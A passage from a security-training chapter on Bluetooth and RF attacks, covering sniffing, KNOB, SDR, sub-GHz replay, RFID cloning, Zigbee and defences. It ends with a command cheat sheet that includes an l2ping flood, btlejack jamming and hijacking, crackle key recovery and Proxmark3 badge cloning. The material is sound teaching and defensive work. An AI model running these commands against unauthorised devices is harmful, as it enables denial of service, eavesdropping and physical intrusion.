D --> E[crackle -i pcap<br/>recover LTK]
E --> F[Decrypt traffic<br/>read plaintext]
Ubertooth workflow
Section titled “Ubertooth workflow”# Basic BLE sniff to stdoutubertooth-btle -f# Pipe into Wireshark via a named pipe / pcapubertooth-btle -f -c /tmp/pipe-f— follow connections (after seeing the CONNECT_IND).-c— capture to a pcap file.-p— promiscuous mode: try to follow already-established connections by guessing hop parameters.
Ubertooth’s limitation is that BLE 5’s extended/coded PHY and channel-selection algorithm #2 are hard for it; for modern BLE 5 devices, Sniffle on a CC1352 is the better sniffer.
Blue-team note. Passive BLE sniffing leaves no trace on your network — there is no log of someone capturing advertisements or following a connection. Detection has to be physical/spectral: RF monitoring for anomalous jammers (a device flooding a channel to force re-pairing shows up as a noise spike), and Bluetooth-aware wireless IDS in sensitive areas. Realistically, defence is prevention: mandate LE Secure Connections, require authenticated pairing for any sensitive characteristic, and don’t put secrets in readable characteristics — because you cannot detect the sniff, only make it useless.
Part 8: Classic Bluetooth Attacks — the Legacy Zoo
Section titled “Part 8: Classic Bluetooth Attacks — the Legacy Zoo”BLE gets the headlines, but Classic BR/EDR still runs in every car, headset, and speaker, and its old attacks resurface on legacy gear and IoT.
The classic name-attacks (mostly historical, still testable)
Section titled “The classic name-attacks (mostly historical, still testable)”- Bluesnarfing — unauthorised reading of data (contacts, calendar, messages) from a device via OBEX Push/Pull flaws. Devastating on 2000s phones; largely fixed, but appears on ancient embedded gear.
- Bluebugging — going further: issuing AT commands over a rogue RFCOMM channel to make calls, send texts, read messages. Historical but conceptually important (it’s “RCE via the modem interface”).
- Bluejacking — sending unsolicited messages via the pairing name field. Harmless prank, but the name/OBEX field is an injection surface.
- BlueSmack — an L2CAP ping flood (oversized
l2ping) that crashes devices — a Bluetooth ping-of-death:
# L2CAP echo flood (DoS) — authorised targets onlyl2ping -s 600 -f AC:23:3F:AA:BB:CC-s 600— packet size 600 bytes (oversized).-f— flood (no delay between pings).
KNOB in practice
Section titled “KNOB in practice”The KNOB attack (Key Negotiation of Bluetooth) is the most important modern Classic bug. During connection setup, the two devices negotiate the encryption key’s entropy (1–16 bytes). The spec allowed a floor of 1 byte. An attacker in the middle rewrites the negotiation so both sides agree on a 1-byte key, then brute-forces 256 possibilities instantly and decrypts. It works because the entropy negotiation itself wasn’t authenticated. Patched devices now enforce a minimum of 7 bytes; unpatched legacy gear remains vulnerable. You can’t easily do KNOB with stock tools — it needs a modified Bluetooth firmware (the researchers used a patched Cypress/Broadcom stack) — but you must be able to explain it, because it’s the canonical “the negotiation was unauthenticated” lesson.
RFCOMM enumeration
Section titled “RFCOMM enumeration”If SDP reveals a Serial Port / RFCOMM service, you can bind it as a serial device:
sudo rfcomm connect /dev/rfcomm0 AC:23:3F:AA:BB:CC 1# then interact with /dev/rfcomm0 like any serial linesudo screen /dev/rfcomm0 115200connect /dev/rfcomm0 <addr> 1— bind RFCOMM channel 1 of the target to a local serial device.
Many IoT and industrial devices expose an unauthenticated command shell or AT interface over RFCOMM. That’s a direct foothold — treat any open RFCOMM channel like an open telnet port.
Part 9: The Wider RF Attack Surface — SDR, Sub-GHz, RFID/NFC, Zigbee
Section titled “Part 9: The Wider RF Attack Surface — SDR, Sub-GHz, RFID/NFC, Zigbee”Bluetooth is one branch of the mindmap from Part 1. A complete wireless assessment touches the rest. This part gives you the working model and the entry tooling for each; each could be its own chapter.
Software-Defined Radio (SDR) — the universal receiver
Section titled “Software-Defined Radio (SDR) — the universal receiver”An SDR is a radio whose demodulation is done in software instead of fixed hardware, so one device can receive (and sometimes transmit) almost any protocol by changing code. This is the master key of RF hacking.
- RTL-SDR (~$30): receive-only, ~24 MHz–1.7 GHz. The cheap gateway drug — perfect for listening to 433 MHz remotes, pagers, ADS-B aircraft, TPMS.
- HackRF One (~$300): transmit and receive, 1 MHz–6 GHz. Can replay and forge (within legal limits).
- LimeSDR / USRP / BladeRF: higher-end, full-duplex, wider bandwidth.
The core workflow tool is GNU Radio (a visual dataflow “GNU Radio Companion” where you wire up demodulation blocks) plus gqrx / SDR# for spectrum visualisation and rtl_433 for auto-decoding hundreds of known ISM devices.
# Auto-decode 433 MHz sensors, weather stations, TPMS, doorbellsrtl_433 -f 433.92M2024-... : Acurite-Tower Id:1234 Temp: 21.3 C Humidity: 48 %2024-... : TPMS Toyota Id:00abcd12 Pressure: 32.0 PSIrtl_433 is astonishing on a first run — walk down a street and it decodes neighbours’ weather stations, tyre-pressure sensors, and doorbells. For pentest scope, it inventories a facility’s sensor estate passively.
Sub-GHz replay — the garage-door / fob problem
Section titled “Sub-GHz replay — the garage-door / fob problem”Cheap remotes (garage doors, some alarms, older car fobs) transmit a fixed code with OOK modulation. Capture once, replay forever:
flowchart LR
A[Press garage remote] --> B[HackRF/RTL-SDR<br/>capture 433.92 MHz]
B --> C{Fixed or rolling code?}
C -->|Fixed| D[Replay same capture<br/>door opens]
C -->|Rolling| E[KeeLoq/rolling —<br/>replay fails, needs<br/>rolljam / crypto attack]
The critical distinction: fixed code devices are trivially replayable; rolling code (KeeLoq, HiTag) devices change the code each press, defeating naive replay. The famous RollJam attack defeats some rolling-code systems by jamming the receiver while capturing two presses, then replaying the first while holding the second. Modern car makers have largely fixed this; cheap gates and alarms often haven’t. The Flipper Zero popularised sub-GHz capture/replay in a pocket device (and is why many venues now ban it) — but it deliberately blocks rolling-code replay of car fobs.
RFID / NFC
Section titled “RFID / NFC”Two worlds by frequency:
- Low-frequency 125 kHz (EM4100, HID Prox): old building-access badges. No crypto on the cheapest — they just broadcast a fixed ID. Clone with a Proxmark3 in seconds. This is still shockingly common in physical pentests.
- High-frequency 13.56 MHz (MIFARE Classic, DESFire, NFC): MIFARE Classic’s Crypto-1 cipher is broken (
mfcuk/mfocrecover keys); DESFire EV2/EV3 are strong.
# Proxmark3 — read an LF card, then clone to a writable T5577[usb] pm3 --> lf search[usb] pm3 --> lf hid read[usb] pm3 --> lf hid clone -r 2006ec0c86Cloning a 125 kHz badge you photographed at reception distance is a bread-and-butter physical red-team move. NFC on phones (payment, transit, access) is a richer, better-defended target.
Zigbee & Z-Wave — the IoT mesh
Section titled “Zigbee & Z-Wave — the IoT mesh”- Zigbee (802.15.4, 2.4 GHz): smart-home mesh (bulbs, sensors, hubs). The classic weakness is the network key exchanged in cleartext during device joining — capture a device pairing and you have the mesh key. Tool: KillerBee (
zbstumbler,zbdump,zbreplay) with an ApiMote or Atmel RZUSBstick. - Z-Wave (sub-GHz, ~908 MHz US): similar mesh; older “S0” security had a hardcoded temporary key (all zeros) during inclusion; “S2” fixed it with ECDH. Tool: Scapy-radio / EZ-Wave with a HackRF.
# KillerBee: find Zigbee networkszbstumbler -i /dev/ttyUSB0# Capture Zigbee traffic to pcapzbdump -i /dev/ttyUSB0 -w zigbee.pcapBug-bounty reality check. Pure RF (sub-GHz, Zigbee, RFID) is largely out of scope for web/mobile bounty programs — they don’t want reports about your neighbour’s garage door. Where RF does pay is IoT programs and hardware bounties (some vendors run them) and, more commonly, as a pivot documented in a physical/red-team engagement report. BLE is the exception: BLE bugs in a company’s app-controlled product (a lock, a scooter, a payment terminal) are in scope for many IoT bounties and mobile programs, because the phone app + BLE peripheral are one system. Frame BLE findings around the product’s app, and you’re inside scope.
Part 10: Detection & Defence — the Blue-Team Consolidated View
Section titled “Part 10: Detection & Defence — the Blue-Team Consolidated View”Radio attacks are hard to detect because listening is silent and the medium is shared. Defence is therefore mostly prevention plus physical-layer monitoring. Organised by layer:
For BLE product/device makers
Section titled “For BLE product/device makers”- Mandate LE Secure Connections (Bluetooth 4.2+). ECDH pairing defeats
crackle, sniffed-pairing key recovery, and passive decryption. This single control neutralises most of Part 7. - Require authentication for every sensitive characteristic. Never ship a
Write-able unlock/config characteristic reachable without an authenticated, encrypted link. Enforce it in firmware, not by hoping clients behave. - Put no secrets in readable characteristics. Assume everything readable is public.
- Use application-layer crypto on top of BLE. Even with LESC, sign/encrypt commands at the app protocol level so a hijacked link (BtleJack
-t) can’t issue valid commands. Include nonces/counters to stop replay. - Rotate addresses (RPA) and don’t leak identity in advertising data. Names and manufacturer data enable tracking even when the MAC rotates — the content betrays you.
- Patch the SoC stack. SweynTooth/BrakTooth are firmware bugs; keep the BLE chip’s firmware current.
For enterprises deploying wireless
Section titled “For enterprises deploying wireless”- Bluetooth hygiene policy: disable Bluetooth on endpoints where it isn’t needed (kills BlueBorne-class “radio on = reachable” exposure); disallow discoverable mode.
- Physical/spectral monitoring in sensitive areas: a Bluetooth-aware wireless IDS, or even periodic
btmon/kismetsweeps, catches rogue peripherals (a planted keystroke-injection dongle advertises as an HID) and jammers (a re-pairing-forcing jammer shows as a channel-38 noise spike). - Access-control upgrades: retire 125 kHz LF badges (clone in seconds) for DESFire EV2/EV3 or mobile credentials. This alone shuts down the most reliable physical red-team entry.
- Asset inventory of RF emitters: know what advertises in your building. Run
rtl_433,bluetoothctl scan, andzbstumblersweeps and baseline them; new emitters are worth investigating.
Detection signals summary
Section titled “Detection signals summary”| Attack | Detectable? | Signal |
|---|---|---|
| BLE passive sniff | No (silent) | None on the wire — prevent instead |
| BLE jam→re-pair | Partially | RF noise spike on adv channel; unexpected client re-pairing |
| Rogue HID (keystroke injection) | Yes | New HID device advertising / enumerating on a host |
| Sub-GHz replay | Rarely | Duplicate codes if the receiver logs; usually none |
| RFID clone | No | Legit-looking badge read; mitigate with crypto cards |
| Zigbee key sniff | No | Silent; mitigate with install-code / out-of-band keying |
The honest summary: you mostly cannot detect RF eavesdropping; you defeat it by making the captured data useless (strong crypto) and by physically controlling who can get an antenna close.
Part 11: Common Pitfalls & Gotchas
Section titled “Part 11: Common Pitfalls & Gotchas”- “No scan results” ≠ “no devices.” Non-discoverable Classic devices and non-advertising BLE peripherals are invisible to a basic scan but still attackable if you learn their address (sniff a connection, or find it in the vendor app).
- Rotating BLE addresses break your notes. The bulb you enumerated as
AC:23:...may show a new random address in 15 minutes. Track devices by advertised name/service UUIDs/manufacturer data, not just MAC. gatttoolis deprecated and flaky. Connection failures are often the tool, not the target. Move tobleakorbluetoothctl’smenu gattfor reliability. If connects fail,sudo systemctl restart bluetoothandsudo hciconfig hci0 reset.- You cannot sniff an existing BLE connection with a normal adapter. GATT interaction (you are the client) works on any adapter; passive capture of someone else’s connection needs Ubertooth/nRF/Sniffle. Beginners conflate these constantly.
crackleonly breaks LE Legacy. Against LE Secure Connections it does nothing — don’t waste an engagement trying.- Two adapters fight over one connection. Running
bluetoothctland a Pythonbleakscript against the same device simultaneously causes mysterious disconnects. Use one controller at a time. - Legal lines are bright and sharp in RF. Transmitting (replay, jamming, evil BLE) can violate FCC/Ofcom rules independently of any computer-crime law. Receiving is generally fine; transmitting on someone else’s system is not. Sub-GHz jamming in particular is a serious offence.
- BLE 5 defeats old sniffers. Extended advertising and coded PHY on modern devices need Sniffle/CC1352; an old Ubertooth may silently miss them and you’ll think the device “isn’t advertising.”
- Endianness bites. BD_ADDRs and UUIDs are little-endian on the wire but displayed big-endian. When you read raw captures, bytes look reversed — expected, not a bug.
Part 12: Final Revision Recap
Section titled “Part 12: Final Revision Recap”- Radio basics: frequency/band/channel; dBm is logarithmic (+3 dB ≈ 2×, +10 dB ≈ 10×); RSSI is negative and closer = stronger; modulation (Bluetooth/BLE use GFSK) must be known to decode.
- Two Bluetooths: Classic (BR/EDR) for audio/serial (79 ch, profiles/SDP), BLE for smart gadgets (40 ch, 3 advertising channels 37/38/39, GATT data model). Not link-layer interoperable.
- BlueZ toolkit:
hciconfig(adapter up/down),bluetoothctl scan on(unified discovery),sdptool browse(Classic services),btmon(live HCI decode). - BLE model: advertising → connect → GATT (Services → Characteristics → Descriptors) at 16-bit handles; property bitmask (
0x02Read,0x08Write,0x10Notify…). The killer bug: unauthenticated Write to a sensitive characteristic. - Pairing: Just Works (TK=0, weak), Passkey (weak in Legacy), Numeric Comparison (LESC/ECDH, strong). LE Legacy is crackable; LE Secure Connections is not.
- Named breaks: BlueBorne (no-interaction RCE), KNOB (1-byte key negotiation), BIAS (impersonation), BLESA (reconnection spoof), SweynTooth/BrakTooth (SoC parsing bugs).
- Sniffing/MITM: GATT talk = any adapter; capturing others’ connections = Ubertooth/nRF/Sniffle/BtleJack.
btlejack -jforces re-pairing → capture →cracklerecovers the LTK → decrypt. LESC defeats this whole chain. - Wider RF: SDR (RTL-SDR receive, HackRF TX/RX) + GNU Radio +
rtl_433; fixed-code sub-GHz replays trivially, rolling-code needs RollJam; 125 kHz RFID clones in seconds (Proxmark3); Zigbee leaks its network key at join; Z-Wave S0 was all-zeros, S2 fixed it. - Defence: mandate LESC, authenticate every sensitive characteristic, app-layer crypto with nonces, no secrets in readable characteristics, retire LF badges, Bluetooth hygiene, spectral monitoring. You can’t detect the sniff — make it useless.
Part 13: Cheat Sheet
Section titled “Part 13: Cheat Sheet”# --- Adapter (BlueZ) ---hciconfig -a # list adapters + statussudo hciconfig hci0 up # enable radiosudo hciconfig hci0 reset # reset a wedged adaptersudo systemctl restart bluetooth # restart the stack when things hang
# --- Discovery ---hcitool scan # Classic inquiry (discoverable only)sudo hcitool lescan --duplicates # BLE active scan, show repeatssudo hcitool lescan --passive # BLE passive scan (silent)bluetoothctl # interactive: power on; scan on; devices; info <addr>sudo btmon # live HCI decode (the Bluetooth Wireshark)
# --- Classic service enum ---sdptool browse <addr> # list profiles/services (Classic "port scan")hcitool info <addr> # remote features + LMP versionsudo rfcomm connect /dev/rfcomm0 <addr> 1 # bind RFCOMM channel -> serial
# --- BLE GATT (gatttool) ---gatttool -b <addr> -I # interactive# connect / primary / characteristics / char-desc# char-read-hnd 0x000e# char-write-req 0x000e <hex> # write with response# char-write-cmd 0x000e <hex> # write no response (fuzz)# write 0100 to CCCD (value handle+1) to enable notify
# --- BLE (bleak, Python) ---# BleakScanner.discover(); BleakClient(addr); read_gatt_char / write_gatt_char / start_notify
# --- Sniff / MITM ---btlejack -s # list active connectionsbtlejack -f 0x<access_addr> -o cap.pcap # follow -> pcapbtlejack -j 0x<access_addr> # jam -> forces re-pair (then capture)btlejack -t 0x<access_addr> # hijack the connectionubertooth-btle -f -c cap.pcap # Ubertooth follow -> pcapcrackle -i cap.pcap -o dec.pcap # crack LE Legacy pairing -> decrypt
# --- Classic attacks ---l2ping -s 600 -f <addr> # BlueSmack L2CAP flood (DoS)
# --- Wider RF ---rtl_433 -f 433.92M # auto-decode ISM sensors/TPMS/remotesgqrx # SDR spectrum viewer# Proxmark3: lf search / lf hid read / lf hid clone -r <id># KillerBee: zbstumbler -i /dev/ttyUSB0 ; zbdump -w z.pcapCharacteristic property bitmask: 0x02 Read · 0x04 WriteNoResp · 0x08 Write · 0x10 Notify · 0x20 Indicate (OR them: 0x1c = WriteNoResp+Write+Notify).
Key standard BLE UUIDs: 0x1800 Generic Access · 0x1801 Generic Attribute · 0x180F Battery · 0x180A Device Info · 0x2A00 Device Name · 0x2A19 Battery Level · 0x2902 CCCD (notify switch).
Part 14: Practice Labs & Resources
Section titled “Part 14: Practice Labs & Resources”Train this chapter’s skills specifically:
- TryHackMe — “Bluetooth Low Energy” / “Intro to IoT” rooms: guided GATT enumeration and characteristic read/write against emulated peripherals — the exact
gatttool/bleakworkflow from Part 6. - Build your own target: flash a Raspberry Pi Pico W or nRF52840 dev kit with a sample BLE peripheral (Nordic’s SDK examples, or
bluezbtgatt-server), then enumerate and attack it. Cheapest, most instructive lab possible — you control both ends. - nRF Connect (Nordic): use the mobile/desktop app as both a scanner (attack a real bulb/band you own) and a peripheral emulator (create a custom GATT server, then attack it from a second device). Free.
- BLE CTF (ESP32): the open-source BLE CTF firmware (by Ryan Holeman) for the ESP32 is purpose-built: 20+ flags, each teaching one BLE skill (read, write, notify, MITM). Flash an ESP32 (~$8) and work every flag — it maps almost 1:1 onto Part 6.
- Bluetooth CTF captures: practice on BLE
.pcap/.hcidumpfiles from past CTFs (search “BLE CTF pcap”) — open in Wireshark and reconstruct the GATT exchange / find the flag in a characteristic. - crackle sample captures: the
cracklerepo ships example LE Legacy pairing pcaps — runcrackle -ion them to see key recovery and decryption end-to-end without any hardware. - SDR / sub-GHz: get an RTL-SDR (~$30), run
rtl_433 -f 433.92M, and inventory your own neighbourhood’s sensors and TPMS (receive-only, legal). For hands-on GNU Radio, thegr-tutorialflowgraphs teach OOK demodulation of a remote you own. - RFID: a Proxmark3 Easy (~$60) plus a blank T5577 card lets you legally clone your own 125 kHz badge and understand why LF access control must be retired.
Suggested progression: BLE CTF (ESP32) for GATT fluency → crackle sample pcaps for the crypto story → a real bulb/band with bleak for live workflow → RTL-SDR rtl_433 for the wider spectrum → Proxmark3 for physical-access reality. Everything above uses gear you own and spectrum you’re allowed to touch — keep it that way.
Practice questions
Section titled “Practice questions”- A BLE characteristic reports
char properties: 0x1a. Which operations are permitted, and which single property makes it the most likely control channel for an attacker? - You capture an encrypted BLE connection but
cracklerecovers nothing. Give the most likely reason and what it implies about the device’s pairing configuration. - Explain, in one or two sentences each, how KNOB and BLESA differ in what they attack (the negotiation vs. the reconnection) and why each was possible.
- You need to sniff the pairing exchange of two devices that are already bonded and connected. Outline the tool sequence to force and capture a fresh pairing, and name the property of LE Secure Connections that would make the whole approach fail.
- During a physical engagement you photograph an employee’s building badge at close range and read it as a 125 kHz HID Prox card. Describe the clone workflow and the single control the client should adopt to make this attack infeasible.
This closes the Wireless notebook’s coverage of non-Wi-Fi radio. The next chapter moves into the following notebook’s track — carry forward the core instinct this chapter builds: every antenna is an interface, and most of them were never designed to be attacked.
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.